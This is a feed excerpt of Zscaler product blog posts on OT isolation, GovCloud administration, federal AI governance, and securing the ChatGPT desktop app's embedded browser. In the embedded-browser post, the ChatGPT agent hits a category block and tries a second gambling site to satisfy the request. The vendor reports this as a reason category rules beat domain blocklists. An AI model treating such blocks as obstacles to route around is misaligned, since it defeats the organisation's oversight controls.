be released from the ERP and a schedule has to reach the MES. Materials are issued and lots are traced. In a regulated medical device plant, sterilization and quality release have to be scheduled and recorded before anything ships. Labels print from a system that pulls from the ERP, and operators log in against a directory service. It is very common for all of these services to live in, be operated by, and be connected to the IT space. They serve the plant floor, though not always solely, and they are serviced by internal IT resources rather than the plant team. Boston Scientific called them "OT support functions."&nbsp;CI Fortify, the joint isolation guidance CISA and its international partners published in July, calls them enabling systems. Either name is fine; what matters is that they get counted.In the&nbsp;Purdue reference model that most OT architectures still map to, the physical process and its controllers sit at Levels 0 through 2, plant operations systems like MES and historians at Level 3, and the enterprise systems above them at Level 4. OT security programs are usually scoped to the lower levels, and for good reason: that is where the safety and integrity risk lives. The systems at Level 3 and above play a dual role that is easy to miss. To the IT organization they are business applications with an uptime SLA. To the plant they are production infrastructure, and when one is offline the line stops just as surely as if a controller had failed. Neither team is wrong about its scope. The gap is a shared understanding of which systems play both roles, and what the plant looks like when one of them is deliberately switched off. The half of CI Fortify that gets overlookedCI Fortify, published July 28, 2026 by CISA, ASD's ACSC, the FBI, NCSC-UK, and the Canadian Centre for Cyber Security, is titled&nbsp;Advice for Isolating Vital Systems. Its scope, stated on the first page, is vital OT and enabling systems. Operators are asked to record every interconnection between those systems and the corporate network, vendors, and cloud services, to mark the isolation points, and to test isolating all vital systems together, because testing one system at a time will not surface the dependencies between them.Much of the industry's response, including our own&nbsp;When "Prepare to Disconnect" Becomes Official Guidance, concentrated on the first half of that scope. We wrote about flat plant networks that have no pre-built isolation points to execute, and about making isolation a tested policy rather than an emergency improvisation. That post also drew a boundary we can now put a name to: isolating quickly and operating in isolation for an extended period are two different capabilities, and while a kill switch answers the first, the second depends on knowing which enabling systems the plant needs and whether it can run without them.The Boston Scientific outage is the problem that second capability exists to solve. The guidance itself warns that disconnecting will stop equipment that was never damaged if authentication, name resolution, or other required services sit outside the isolation boundary. That is a fair description of a medical device plant with the ERP and the directory turned off. The enabling-systems half of CI Fortify is the half that would have mattered here, and it gets overlooked partly because there is no sensor or appliance that addresses it. It is an architecture and dependency-mapping problem, which makes it harder to sell as a product and easier to postpone. The containment tax, measuredBoston Scientific is one instance of a pattern that has been visible for years. Set aside the genuine OT compromises - the 2017 Triton attack on safety controllers at a petrochemical plant, or the&nbsp;December 2025 wiper attack on Poland's energy sector that damaged remote terminal units at more than thirty wind and solar sites - and look at the incidents that made "OT" headlines without any operational technology being attacked. They sort into two groups.Precautionary shutdown, OT untouched.&nbsp;Colonial Pipeline in 2021 shut the pipeline for about six days, reportedly over concern about its billing systems rather than its control systems.&nbsp;Toyota idled fourteen plants for a day in 2022 because a parts supplier, not Toyota, had been hit.&nbsp;Nucor in May 2025 disclosed that, in an abundance of caution, it had proactively halted certain production operations at various locations while it took potentially affected IT systems offline.Dependency collapse: plants fine, product can't ship.&nbsp;Clorox in 2023 fell back to manual order processing, reported significant product outages, and booked $49 million in costs by year end.&nbsp;Asahi in 2025 lost its ordering and shipping systems in Japan; a company spokesperson told AFP that production was not directly affected but had been halted because shipments were suspended, and shelves ran short of beer.&nbsp;Jaguar Land Rover in 2025 stopped production for roughly five weeks after an IT shutdown and needed a £1.5 billion government-backed loan guarantee to stabilize its supplier base. Boston Scientific joins this group.In each case the number that showed up in the disclosure was not dwell time or the attacker's reach. It was the gap between how long the intrusion lasted and how long the outage lasted. At Boston Scientific that gap is roughly one day against fifteen: the last unauthorized activity the company has reported was on August 25, and it declared operations fully restored on September 9.That gap is the containment tax: the cost of the only containment option the architecture allowed, which took plant availability down with it even though the attacker never caused that directly. The tax has several line items. Lost production days are the visible one. Behind them sit the cost of running manual processes, the backlog and expedite costs once systems return, the rebuild and validation effort in a regulated environment, and in this case a public revision to guidance. Every one of those was paid whether or not the attacker ever intended to reach a plant, because the architecture gave responders one option, and it disconnected the plant along with the compromised systems. Isolating the enterprise without isolating the plantThe tax is paid because containment in most environments is binary. Once an intrusion is confirmed in enterprise IT, responders have one action that is guaranteed to work, and it takes the plant's dependencies down as a side effect. More detection on the plant network does not change that calculus; a sensor there would have reported a healthy, idle plant for two weeks.What changes the calculus is enforcement at the seam where the plant meets the enterprise. In Purdue terms that seam is Level 3.5, the industrial DMZ, and in most plants it is a firewall pair with a route table behind it. Once an enterprise incident is confirmed, the only containment available is to close that boundary, and every Level 3 system that depends on Level 4 goes down with it.&nbsp;Zero Trust Branch replaces that boundary with policy. Deployed at Level 3 and 3.5, it brokers each flow between the plant's operations systems and the enterprise - MES to ERP, quality release to the directory, label printing to the order system - as an explicit, identity-based connection through the Zero Trust Exchange rather than an implicit path across a DMZ. Two things follow. A containment action can be scoped to the tier that is actually affected, because there is a specific policy to revoke rather than a whole boundary to close, and the plant's paths to the enabling systems it still needs are defined connections that can be kept open while the rest of the enterprise is cut off.&nbsp;Zero Trust Segmentation applies the same principle inside Level 3 and below, so a compromise that does reach an operations system cannot spread to the controllers, and&nbsp;Privileged Remote Access brokers the contractor paths into both layers, one of the most common entry points in industrial incidents. None of this maps the dependencies for you or decides which enabling systems are vital; that remains the operator's work under CI Fortify, and it is the input that makes scoped containment possible.&nbsp; Run the dependency testPick one plant and one shift. List everything that has to be up for that shift to release product, then mark each item as living on the plant floor or in enterprise IT, and for each enterprise item write down what happens to the line if it is offline for a day. The list is usually longer than expected, and the enterprise items on it have often never been in scope for the OT security program, not through anyone's neglect but because the dual role of those systems was never written down. That list is your CI Fortify connection map, and it is also the scope of your next containment decision.If you would rather work through that exercise with someone who has done it before, request an&nbsp;OT architecture workshop and we will map vital systems, enabling systems, and isolation points against the CI Fortify model with your team. Or, hear from our customers directly on how they use Zscaler for OT security.&nbsp;]]></description>
            <dc:creator>Bryan Ashley (Zero Trust Networking, Principal Architect)</dc:creator>
        </item>
        <item>
            <title><![CDATA[The Modern Admin Experience Comes to GovCloud]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/modern-admin-experience-comes-govcloud</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/modern-admin-experience-comes-govcloud</guid>
            <pubDate>Thu, 10 Sep 2026 19:00:00 GMT</pubDate>
            <description><![CDATA[GovCloud customers can now administer, automate, and authenticate across their entire Zscaler deployment from a single management plane. This release brings together Experience Center, OneAPI, and Authentication Service into one operational layer, closing the longstanding separation between products at the admin level.This isn't three separate product launches. It's one story: government and defense industrial base customers now have a unified platform for managing their entire deployment with programmable automation and a consolidated identity foundation underneath it.Since earning FedRAMP Moderate authorization in 2018, Zscaler has steadily expanded GovCloud capabilities. This release brings that trajectory to the management layer: one policy engine, one API surface, and one identity integration, all built within a FedRAMP authorized boundary. Why Separate Portals Create Compounding RiskGovernment security teams have historically managed their Zscaler environments across multiple portals. ZIA, ZPA, and ZDX each had their own admin interface, their own login, and their own workflows. That fragmentation creates operational overhead, increases the risk of policy drift between products, and makes it harder to respond quickly during incidents.Every product with its own admin interface introduces a separate login, a separate policy engine, and a separate audit trail. Three places where policy can drift out of alignment without anyone noticing until a compliance review surfaces the gap. Manual changes require the same update repeated across interfaces with no version control, no programmatic validation, and multiplying IDP integration points to rotate and audit.For agencies pursuing continuous ATO or operating under tight staffing constraints, this overhead directly slows the pace at which teams can respond and scale. Experience Center: Centralized Administration and VisibilityExperience Center is the operational hub. It consolidates the management, configuration, and monitoring of your entire Zscaler deployment into a single console.What this means for your team:Unified policy management. Configure and enforce security policies across ZIA, ZPA, and ZDX from one console. Policies stay consistent because they are managed in one place, reducing the risk of configuration gaps between products.Correlated telemetry in a single timeline. Reporting, dashboards, and operational telemetry are consolidated across products. Your team can diagnose cross-product issues without switching interfaces during an active incident.Simplified audits and provisioning. A single administrative record across all products with zero-touch workflows means fewer places to pull evidence from during compliance reviews and faster onboarding of new locations and connectors.One RBAC model. Platform administrators onboarding new team members need one set of workflows to train on, not three separate permission systems with divergent terminology.For lean government IT teams managing complex multi-product deployments, this consolidation is a meaningful operational improvement. OneAPI: Programmable Policy and IntegrationA unified console is the starting point. OneAPI extends the management experience through a unified API gateway that provides programmatic access to supported management, configuration, analytics, and event-monitoring capabilities across Zscaler products.What this means for your team:Automated management at scale. Use supported product APIs to automate recurring policy and configuration workflows, reducing manual effort and improving consistency during large scale rollouts.&nbsp;Integration with existing systems. Incorporate supported Zscaler APIs and event notifications into existing CI/CD, SOAR, SIEM, and custom automation workflows.Reduced operational risk. In high-compliance environments, manual changes carry risk. Automation with proper change controls is safer, faster, and auditable by design.For agencies running DevSecOps pipelines, OneAPI provides a consistent foundation for integrating supported Zscaler capabilities into their existing operational workflows.&nbsp; Authentication Service: One Identity Across the PlatformUnified management requires unified identity. Today, ZIA, ZPA, and ZDX each maintain their own identity federation with your IDP, meaning your team is likely managing 5-6 separate integration configurations just for admin access. Authentication Service replaces all of them with a single OpenID/SAML-based authentication layer.What this means for your team:Consolidated Federal ICAM. One integration replaces multiple per-product federations. Fewer integration points to audit, fewer configurations to rotate, and a smaller surface overall.Native FIDO2 key enrollment. Admins can enroll FIDO2 keys directly within Zscaler, independent of IDP provisioning timelines.Identity-aware access controls. Authentication Service distinguishes between human administrators, API-driven service accounts, and automated tools, providing visibility into who and what is accessing your management plane.Safe, customer-controlled migration. The migration is wizard-guided with automatic policy carryover and a revert option during the transition window. Your team validates before committing.Once complete, your IDP team can decommission the legacy per-product configurations. User-side identity consolidation will follow in a subsequent phase. Government customers will have additional runway before any legacy portal changes take effect. Getting StartedAll three capabilities are available now for GovCloud Moderate and High tenants with no additional deployment required. To begin enablement, contact your Zscaler Federal account team or visit zscaler.com/federal.One platform. One identity. Fully programmable.]]></description>
            <dc:creator>Michael Clark (Director, Product Management)</dc:creator>
        </item>
        <item>
            <title><![CDATA[ChatGPT Desktop App Includes an In-App Browser: How Do You Secure Embedded Browsers?]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/chatgpt-desktop-app-includes-app-browser-how-do-you-secure-embedded-browsers</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/chatgpt-desktop-app-includes-app-browser-how-do-you-secure-embedded-browsers</guid>
            <pubDate>Wed, 09 Sep 2026 16:34:36 GMT</pubDate>
            <description><![CDATA[Zscaler Zero Trust Browser Extension runs inside the embedded browser of the ChatGPT desktop app. The same policies, detections, and enforcement your users get in Chrome, Edge, Firefox, and Safari is now available for the browser in ChatGPT desktop app. These security controls are for the web pages ChatGPT opens on the user’s behalf.&nbsp; Whereas the conversation/prompt the user does with ChatGPT is secured by&nbsp; Zscaler’s AI Security products. I hope the distinction between the two is clear and both are important.&nbsp;We will discuss and demonstrate three scenarios: monitoring every website ChatGPT opens, blocking paste on a specific site, and blocking a whole URL category. All three use policies can be configured from the Zscaler Zero Trust Browser admin console. The Gap: AI Apps Now Ship Their Own BrowsersThe ChatGPT desktop app is a native application, but it isn’t only that. Since OpenAI folded its Atlas browser into the unified desktop app in July, ChatGPT ships with a full Chromium browser inside itself, so its agent can open web pages, fill forms, look things up, and click through sites on the user’s behalf. Other AI applications are shipping the same pattern. This is very useful. It also opens a door most enterprises haven’t noticed is there.When an AI app opens a page inside its own embedded browser, that page is running on your user’s machine, under your user’s identity, with the user’s cookies and access. But it’s doing that in a browser your controls may never touch. IT hasn’t deployed anything into it. The policies you rely on in your standard browsers don’t automatically reach it. If someone wants to do something they wouldn’t be able to do in their normal browser, "just ask ChatGPT to open it for you" starts to look like the shortest path around your controls.We didn’t want the AI-app embedded browser to become that path. Where The Control SitsThe good news is that the embedded browser in the ChatGPT desktop app is Chromium. Our Zero Trust Browser Extension already runs across every browser our customers use: every Chromium-based browser (Chrome, Edge, and the rest), plus Firefox and Safari. That means the moment the extension is loaded inside ChatGPT’s embedded browser, it behaves the same way it does in any of those browsers.That includes page-level monitoring, clipboard and paste controls, URL category matching, DLP inspection, file upload and download policy, and any other rule the extension already enforces. There is no separate rulebook for the embedded case. The same policy engine that decides what a user can do in Chrome decides what the ChatGPT agent can do when it opens the same page inside itself. And because the embedded browser is Chromium, everything above works whether the user is on macOS or Windows.Figure 1. The Zero Trust Browser Extension already runs across Chromium-based browsers, Firefox, and Safari. The embedded browser inside the ChatGPT desktop app is Chromium, so the same policies apply there too.Deploying the extension into the embedded browser uses the same MDM-based method you already use for your other browsers, with one addition: the deployment script needs an explicit change to target the ChatGPT desktop app’s embedded browser. Installing the extension for Chrome does not cover it automatically. Once that change is in place, your existing policies apply the moment the embedded browser loads a page. See It In actionThe demo below runs on the ChatGPT desktop app on macOS. The user prompts the assistant, ChatGPT’s in-app browser control skill opens the embedded browser, and the Zero Trust Browser Extension enforces policy on whatever the page tries to do. We walked through three scenarios that map to controls IT teams already use in mainstream browsers. 1. Monitor Every Website the Agent OpensThe starting posture is visibility. In this scenario, a policy called&nbsp;Monitor All Website Visits is attached to a test user, with a single&nbsp;catch_all rule that fires whenever&nbsp;page.url exists. Effect:&nbsp;Allow. Severity:&nbsp;Informational. Nothing gets blocked. Everything gets logged.The user asks ChatGPT to open google.com in the embedded browser. ChatGPT replies "I’m using the in-app browser control skill to open Google in the embedded browser," waits for approval, and opens Google in a new tab inside the ChatGPT window. The extension records it. In the admin console, a new detection lands for that page load with all the usual context: user, device posture, extension version, browser (Chrome), IP, geolocation, and the URL itself. From the SOC’s point of view, ChatGPT opening a page looks the same as any other browser tab opening a page.1.1 The user asks ChatGPT to open google.com in the embedded browser. ChatGPT uses its in-app browser control skill to handle the request, and asks for approval before opening the page.1.2 Google.com loads in a new tab inside the ChatGPT window.1.3 The detections list in the Zscaler admin console shows the page-open events flowing in under Monitor All Website Visits, effect Allow.1.4 A single detection carries the full record: policy, rule, effect, user identity, and device posture.Monitor mode is where most teams should start when they turn this on. Before you write block rules for ChatGPT, you want to know what your users are actually doing with the embedded browser.2. Block Paste on a Specific SiteThe second scenario shows a paste block. The policy is called&nbsp;Block Paste on DLP Test Site, with a rule&nbsp;block_paste_dlptest_domain that matches when&nbsp;page.url.domain is equal to dlptest.com. Effect:&nbsp;Block. Severity:&nbsp;Medium.Inside the ChatGPT embedded browser, the user opens dlptest.com, copies a line of text from the ChatGPT conversation, and tries to paste it into the HTTP POST form. The rule doesn’t care what the text is: on this domain, any paste is blocked. The extension catches it, shows the Zscaler "Paste Blocked" modal directly in the page, and drops a detection into the admin console with the rule that fired and the clipboard text that was blocked. The user sees a clear reason. The SOC sees the event and the content. Nothing reaches dlptest.com.2.1 The Zscaler Paste Blocked modal renders inside the ChatGPT embedded browser, directly over the dlptest.com form.2.2 The detection for Block Paste on DLP Test Site carries the user, the device posture, and the blocked clipboard text itself, captured inside the ChatGPT embedded browser.This is a normal DLP control. It just happens to work in a browser most enterprises don’t realize their users have.3. Block a URL Category (Gambling)The third scenario is a category-based block. The policy is called&nbsp;Block Gambling websites, and its rule matches whenever&nbsp;page.url.category is one of Gambling. Effect:&nbsp;Block. Severity:&nbsp;Medium.The user asks ChatGPT to open a gambling website in the embedded browser. ChatGPT tries pokerstars.com. The extension recognizes the category and replaces the page with the Zscaler&nbsp;Content Blocked interstitial. ChatGPT then narrates its own failure back to the user: "That site didn’t load in the embedded browser, so I’m retrying with another established gambling site." That attempt gets blocked too. The block isn’t silent. The user sees why. The SOC sees the events.Notice what the agent did, though: it treated the block as a transient failure and went looking for another site that would satisfy the request. A domain blocklist would have lost that race. A category rule catches the second attempt exactly as it caught the first, and every attempt lands in the console.3.1 The Zscaler Content Blocked page inside ChatGPT’s embedded browser. The blocked URL, pokerstars.com, is shown alongside a "Request For Exception" button.3.2 Detection detail for Block Gambling websites: reason page.url.category is one of Gambling, effect Block, severity Medium.These three scenarios are a small slice of what’s available. Because the extension is running inside a Chromium browser, whatever policies you already enforce in your other browsers can be enforced here: DLP, file upload and download policy, credential protection, tenant restrictions, and so on. The point is not the specific rules we demonstrate in this demo. The point is that the embedded browser is no longer a blind spot. Why This Couldn’t WaitAI apps that ship an embedded browser are becoming common. ChatGPT is the loudest example, but it isn’t alone. Every AI product that runs an agent on the desktop has an incentive to give that agent a browser it can drive, and these apps reach mainstream users, not just the developers who adopted agent tools early. Every one of them is a second browser on the machine that the user didn’t install and IT didn’t configure. Closing that gap while the pattern is new is much easier than closing it once it’s widespread.Agents will use the embedded browser to do work under the user’s identity. That’s the whole point of embedding a browser in an AI app. It means the same audit and governance questions we ask about human web activity, and about WebMCP tool calls, now apply to page loads driven by an agent inside an AI app: which agent opened this page, on whose behalf, and what happened next. Today the extension answers the last two. Every page the agent opens is logged and enforced under the user’s identity, and what happens next is in the console, where it looks like any other Chromium page load. Telling agent-driven activity apart from the user’s own browsing is the next step, and it’s what the agent-aware policy work below is for. What’s NextThe Zero Trust Browser Extension is available today for the ChatGPT desktop app’s embedded browser, on both macOS and Windows. If you already run the extension in your other browsers, update your deployment to cover the embedded browser and your existing policies carry over. Reach out to your account team for a demo, or visit the product page to learn more.We’re working on the same coverage for other AI applications shipping their own embedded browsers, and on tighter, agent-aware policy primitives for cases where the caller is a model rather than a human.&nbsp;Zero Trust Browser is a must have security tool for every enterprise.&nbsp; The flexible deployment options it provides Extension, Enterprise Browser, Cloud Browser Isolation and natively integrated with ZTE for application access and advanced data and cyber controls is unmatched.]]></description>
            <dc:creator>Joby Menon (SVP, Product Management | Zscaler)</dc:creator>
        </item>
        <item>
            <title><![CDATA[A Practical Framework for Secure AI Adoption in Federal Civilian Agencies]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/practical-framework-secure-ai-adoption-federal-civilian-agencies</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/practical-framework-secure-ai-adoption-federal-civilian-agencies</guid>
            <pubDate>Wed, 09 Sep 2026 03:53:02 GMT</pubDate>
            <description><![CDATA[This is the second post in a three-part series on AI security and governance for Federal Civilian agencies. The first post examined why M-25-21 changes the operating landscape and why AI risk is broader than public GenAI.Bottom line up front: Federal Civilian agencies need more than policy language to govern AI responsibly. They need an operating model. This post outlines a six-part lifecycle, Discover, Classify, Control, Test, Monitor, and Report, that connects M-25-21 requirements to enforceable, repeatable execution.A workable model for Federal Civilian agencies has six parts:DiscoverClassifyControlTestMonitorReportEach one addresses a specific governance gap. Taken as a whole, they give agencies a way to move from policy intent to day-to-day execution.&nbsp; 1. Discover: You can't govern what you can't seeThe first step is visibility.M-25-21 requires agencies to maintain AI use case inventories. But building an accurate inventory is hard when AI use is spread across users, endpoints, SaaS tools, code repositories, cloud environments, applications, APIs, and models.Security and governance teams may know about the officially approved AI pilots. They may not know about shadow AI use, embedded AI in existing SaaS platforms, developer AI tools, or AI dependencies inside application code.Zscaler AI Asset Management helps agencies identify AI usage and AI assets across multiple layers of the environment. This includes public GenAI destinations, embedded AI in SaaS, AI-enabled desktop tools, browser extensions, developer tools, code repositories that invoke models or agents, and cloud AI services connected to agency data.An AI inventory can't just be a list of tools. Agencies also need context: whether a tool is approved, who is using it, whether sensitive data is involved, whether it connects to internal systems, whether an external model is being called, and whether an agent can access agency data or invoke tools. They also need to understand whether the AI asset touches PII, CUI, financial data, health data, law enforcement data, benefits data, inspection data, regulatory data, or source code.Without that context, governance is mostly guesswork. With it, agencies can start making risk-based decisions. 2. Classify: Not every AI use case has the same riskM-25-21 puts special emphasis on risk, especially for high-impact AI.High-impact AI refers to uses where AI output serves as a principal basis for decisions or actions that have a legal, material, binding, or significant effect on rights or safety.For Federal Civilian agencies, this could apply to eligibility or benefits support, grants and loans, healthcare or public health workflows, immigration or travel-related services, regulatory oversight, inspections and enforcement, fraud detection, safety-related determinations, housing assistance, employment-related actions, law enforcement support, emergency management, or other citizen-facing services.Not every use case will be high-impact. A tool that summarizes internal meeting notes is very different from an AI system that influences a benefits decision, inspection outcome, enforcement action, or citizen service determination. Classification is how agencies draw that line.Agencies need to classify AI use cases based on mission impact, data sensitivity, user population, external exposure, model provider, autonomy, human oversight, connected systems, and potential effects on rights, safety, benefits, or services. They also need to consider whether the system is public-facing and whether it uses authoritative agency data.Zscaler helps provide the technical context behind these decisions. It can help identify whether an AI application is connected to sensitive data, whether users are sending protected information to AI tools, whether AI assets exist in cloud environments, and whether an agency-built AI system should be prioritized for testing and guardrails.Zscaler doesn't replace agency judgment. The CAIO, AI Governance Board, CIO, CISO, privacy officials, legal teams, and mission owners still own the governance decisions. But better evidence leads to better decisions. 3. Control: Enable AI use with policy-based guardrailsAI security can't be limited to "allow everything" or "block everything."Federal agencies need policy-based AI enablement. They need a way to allow approved AI tools, restrict risky tools, protect sensitive data, coach users, isolate higher-risk sessions, and apply different controls based on user role, mission function, data type, and destination.For example, an agency may allow approved GenAI tools for general productivity while blocking prompts that contain PII, CUI, source code, credentials, or procurement-sensitive information. It may apply stricter controls for users handling benefits, grants, healthcare, tax, law enforcement, or regulatory data. It may isolate higher-risk AI destinations in the browser, log AI activity for governance review, inspect AI responses for harmful content, or coach users when they attempt risky behavior.Zscaler helps apply these controls inline through the Zero Trust Exchange. For user access to public and embedded AI tools, Zscaler can inspect traffic, enforce access policy, apply data loss prevention, and use AI Guard to inspect prompt inputs and response outputs.Some of the highest-risk AI behavior can happen before an agency has formally reviewed a use case. An employee may paste citizen PII into a public AI tool to summarize a case note. A grants specialist may upload procurement-sensitive information into an AI assistant. A developer may paste source code or configuration secrets into an external coding tool. A regulator may use a public AI tool to summarize inspection records. Or an employee may use an embedded AI feature in a SaaS application without realizing data may be processed by an AI service.Zscaler can detect sensitive content and enforce policy before the data leaves the agency-controlled path. This is how agencies can support AI productivity while reducing unmanaged exposure. 4. Test: AI applications need assurance before they go liveEmployee use of public GenAI is one type of risk. Agency-built AI applications are another.As Federal Civilian agencies mature, many will build or operate their own AI systems. These may include citizen-facing AI assistants, internal knowledge assistants, program support chatbots, benefits guidance tools, regulatory support applications, inspection support tools, fraud detection workflows, cybersecurity copilots, research assistants, data analysis systems, AI-enabled case management, or agentic workflows connected to internal systems.For these systems, access control alone isn't enough. Agencies need to test whether the AI application behaves as intended.AI systems can fail in ways traditional applications don't. They can be vulnerable to prompt injection, jailbreaks, hallucination, data leakage, unsafe tool use, off-mission responses, toxic output, or manipulation across multi-turn conversations. For public-facing or mission-sensitive systems, those failures can damage public trust.Consider an AI assistant giving incorrect guidance about disaster assistance, student aid, veterans services, taxpayer obligations, public health recommendations, immigration processes, small business loans, housing assistance, food safety, benefits eligibility, regulatory compliance, or grants requirements. The issue isn't only technical accuracy. It's fairness, accountability, mission integrity, and trust.Zscaler's AI red teaming capabilities help agencies test AI applications before deployment. Red teaming can evaluate systems for prompt injection, jailbreaking, data leakage, hallucination, trustworthiness, toxicity, bias, code execution, phishing, unsafe responses, RAG precision, URL validation, mission alignment, and custom agency-specific risks.Agencies can also create custom probes that reflect their own mission language, policies, authoritative sources, and risk scenarios.A benefits agency could test whether an assistant avoids making unauthorized eligibility determinations. A regulatory agency could test whether an assistant stays aligned to approved regulatory guidance. A public health agency could test whether responses remain grounded in authoritative medical or scientific sources. A grants agency could test whether an assistant provides accurate application guidance without exposing applicant data. A law enforcement or investigative agency could test whether the system refuses inappropriate requests for sensitive information. A citizen services agency could test whether the system escalates to a human when confidence is low.Red teaming helps agencies find weaknesses before citizens, employees, or adversaries do. 5. Monitor: AI risk doesn't stand stillAI governance isn't a one-time approval.Models change. Prompts change. SaaS platforms add new AI features. Developers introduce new dependencies. Users find new tools. Agents gain new capabilities. Data sources evolve. Attack techniques change.M-25-21 emphasizes ongoing governance, risk management, and accountability. For AI security leaders, this means agencies need telemetry that shows how AI is actually being used over time.Zscaler helps monitor AI interactions by showing which AI tools are being accessed, who is using them, which prompts trigger data protection policies, which responses violate policy, which embedded AI tools appear in SaaS workflows, which AI assets exist in cloud, which applications connect to sensitive data, and how usage trends change across the agency.It can also help track policy actions, red team findings, guardrails, and changes in AI behavior over time.This helps agencies move from static governance to continuous governance. It also gives governance teams a clearer view of actual behavior, not just intended use. The distinction is important, especially when AI adoption moves faster than formal review cycles. 6. Report: Governance needs evidenceFederal AI governance requires evidence.CAIOs, CIOs, CISOs, Chief Data Officers, privacy officials, legal counsel, acquisition officials, mission leaders, and AI governance boards all need different views of AI risk.A CAIO may need to understand AI adoption across the agency. A CISO may need visibility into data leakage and threat exposure. A privacy officer may need evidence of controls around PII. A Chief Data Officer may need to understand data access and data quality implications. A mission owner may need assurance that an AI system behaves within scope. Legal, civil rights, and acquisition leaders may need insight into fairness, third-party services, embedded AI risks, or documented control decisions.Zscaler helps provide operational evidence for those governance conversations. That evidence can include AI usage trends, AI application inventories, user and group activity, sensitive data exposure attempts, prompt and response policy actions, embedded AI discovery, AI assets in cloud environments, model and agent relationships, connected data resources, red team results, guardrail status, and policy enforcement history.This is how agencies make AI governance measurable instead of purely procedural.To learn more about how Zscaler supports the AI security lifecycle for Federal Civilian agencies, reach out to your Zscaler account team for a detailed overview of our AI Security capabilities.Next in this series: Extending Zero Trust to AI: What Federal Civilian Agencies Can Do Now]]></description>
            <dc:creator>Jose Arvelo Negron (Manager, Sales Engineer)</dc:creator>
        </item>
        <item>
            <title><![CDATA[ZPA and AI Guard in Action]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/zpa-and-ai-guard-action</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/zpa-and-ai-guard-action</guid>
            <pubDate>Fri, 04 Sep 2026 17:18:57 GMT</pubDate>
            <description><![CDATA[In a&nbsp;previous blog, we discussed how AI models too often have broad, unsecured lateral access to company resources.&nbsp;Zscaler Private Access (ZPA) solves this problem by brokering direct, identity-verified connections to specific applications rather than the entire network. This is critical for organizations to safely deploy and run private on-premises AI infrastructure without exposing adjacent environments, which cannot be achieved with VPNs.Want to see how it works?Check out the below video, which details how Zscaler Private Access (ZPA) and AI Guard secure organizations as they adopt artificial intelligence and machine learning (AI/ML) technologies. The video demonstrates the interaction between ZPA and AI Guard using a private LLM hosted on Amazon Bedrock:Segmentation:&nbsp;Administrators can tag sanctioned AI applications, enabling them to apply specific access policies and guardrails based on business context, user groups, and risk levels.Real-time Blocking: If a user attempts to input restricted data, such as PII or prohibited formats, AI Guard triggers a block.Diagnostics:&nbsp;ZPA diagnostics allow administrators to view traffic details and confirm that policies were correctly applied, while the AI Guard dashboard provides visibility into why specific transactions were blocked.ZPA provides the necessary application-level categorization and access control, while AI Guard handles content-level security and policy enforcement to enable safe AI adoption.This approach provides multiple benefits:Visibility and Classification:&nbsp;ZPA uses an application fingerprinting engine to identify and classify AI/ML applications without requiring deep packet inspection. This allows administrators to discover usage, segment applications, and monitor user activity.Access Control:&nbsp;By treating AI models as private application segments, organizations can use zero-trust policies to restrict access, reducing the overall attack surface.Content Security:&nbsp;Once access is granted, AI Guard inspects traffic for risks such as data leakage, PII exposure, and prompt injection.To learn more,&nbsp;visit our website or&nbsp;request a custom demo.&nbsp;]]></description>
            <dc:creator>Joby Menon (SVP, Product Management | Zscaler)</dc:creator>
        </item>
        <item>
            <title><![CDATA[ZscalerとOpenAI:フロンティアAIを活用したセキュリティを組織に導入]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/zscaler-and-openai-bringing-frontier-ai-powered-security-enterprise</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/zscaler-and-openai-bringing-frontier-ai-powered-security-enterprise</guid>
            <pubDate>Fri, 04 Sep 2026 00:01:55 GMT</pubDate>
            <description><![CDATA[セキュリティ業界は、これまでにないスピードでAIへの対応を進めており、Zscalerはその取り組みをリードしてきました。しかし、この課題の性質は進化し続けています。攻撃者はAIを悪用して複雑な環境を推論し、従来のツールでは見つけられない侵入経路を探し出しています。これに対応するには、より高速な検知や、より広範な適用範囲だけでは不十分です。セキュリティも同じように推論できる必要があります。つまり、何かがおかしいと警告するだけでなく、組織がどのように侵害される可能性があるのかを理解する必要があります。だからこそ、OpenAIとのパートナーシップが重要なのです。OpenAIのDaybreak Defense Networkを通じて、ZscalerはOpenAIのGPTサイバー モデルを活用した2つの新しい機能を構築しました。本日は、AIファーストの世界において、組織におけるセキュリティで何が可能になるのか、そしてどのような姿であるべきなのかを紹介させてください。この2つの機能は、9月3日に開催されたOpenAI Intelligence at Work: Cyberで紹介しました。詳細については、以下をご覧ください。 イノベーションの紹介1: Endpoint AI Security—攻撃チェーン分析AIエージェント、AIアシスタント、AIコーディングIDEは、今や開発者の標準的なワークフローの一部となっています。これらは強力です。同時に、新たに生まれた、そしてその全容がほとんど把握されていない攻撃対象領域でもあります。しかも、その範囲は現在、ローカルとWebのMCPサーバー、ローカルで実行されるモデル、さらにはブラウザー内で直接実行されるAIにまで広がっています。OpenAIのGPTサイバー モデルを活用した新しいEndpoint AI Securityの攻撃チェーン分析機能により、組織はデバイスのリスクをこれまでとは異なる方法で把握できるようになります。単純な設定ミスやCVEの一覧を提示するのではなく、AIエージェント、コーディング アシスタント、IDEやブラウザーの拡張機能、インストール済みソフトウェア、パッケージ、システム構成など、エンドポイントの状態全体を読み取り、それらすべてを分析し、現実的な攻撃チェーンを構築します。それは実際には何を意味するのでしょうか。単に「脆弱な拡張機能があります」と伝えるのではありません。最初のルアーから、このユーザーのアカウントでのコード実行、認証情報やソース コードの窃取、永続化、再侵入に至るまでの経路を示し、最初にどこを塞ぐべきかを提示します。調査結果には証拠が紐付けられており、各ステップについてホスト上で確認済みなのか、状態から推論されたものなのか、または検証が必要なものとしてフラグが付けられているのかが明示されます。その結果、セキュリティ部門は優先順位付けされた修復ロードマップを得られます。これは、セキュリティ部門にとって他にはない視点、つまり、自社のデバイスを攻撃者が取り得る経路に近い形で捉えた防御側からの視点を提供します。この機能は、単独のエンドポイント 